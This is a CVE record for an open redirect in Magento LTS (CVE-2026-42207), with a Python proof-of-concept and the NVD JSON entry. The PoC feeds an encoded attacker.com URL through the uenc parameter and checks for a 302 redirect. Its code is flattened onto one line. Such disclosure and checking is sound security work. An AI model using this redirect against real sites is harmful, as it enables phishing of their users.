CVE-2026-42207

import requests # Exploit Title: Magento LTS Open Redirect # Date: 2026-05-15 # Exploit Author: Analyst # Vendor Homepage: https://github.com/OpenMage/magento-lts # Version: < 20.18.0 def check_poc(target_domain): # Base64 encoded version of https://attacker.com # aHR0cHM6Ly9hdHRhY2tlci5jb20= # Magento uenc format often includes padding or specific structure, simplified here for PoC malicious_redirect = "aHR0cHM6Ly9hdHRhY2tlci5jb20=" # Use a non-existent product ID to trigger the error path url = f"{target_domain}/productalert/add/stock/product_id/99999999/uenc/{malicious_redirect}/" try: response = requests.get(url, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location') if location and "attacker.com" in location: print(f"[+] Vulnerable! Redirecting to: {location}") return True print("[-] Not vulnerable or PoC failed.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1/magento" check_poc(target)

{"cve": {"id": "CVE-2026-42207", "sourceIdentifier": "[email protected]", "published": "2026-05-15T17:16:46.757", "lastModified": "2026-05-15T19:16:58.243", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to 20.18.0, Mage_ProductAlert_AddController::stockAction() reads the uenc query parameter and passes it directly to $this->_redirectUrl($backUrl) without calling $this->_isUrlInternal(). When the supplied product_id does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as uenc. This vulnerability is fixed in 20.18.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qpgq-5g92-j5q8", "source": "[email protected]"}, {"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qpgq-5g92-j5q8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}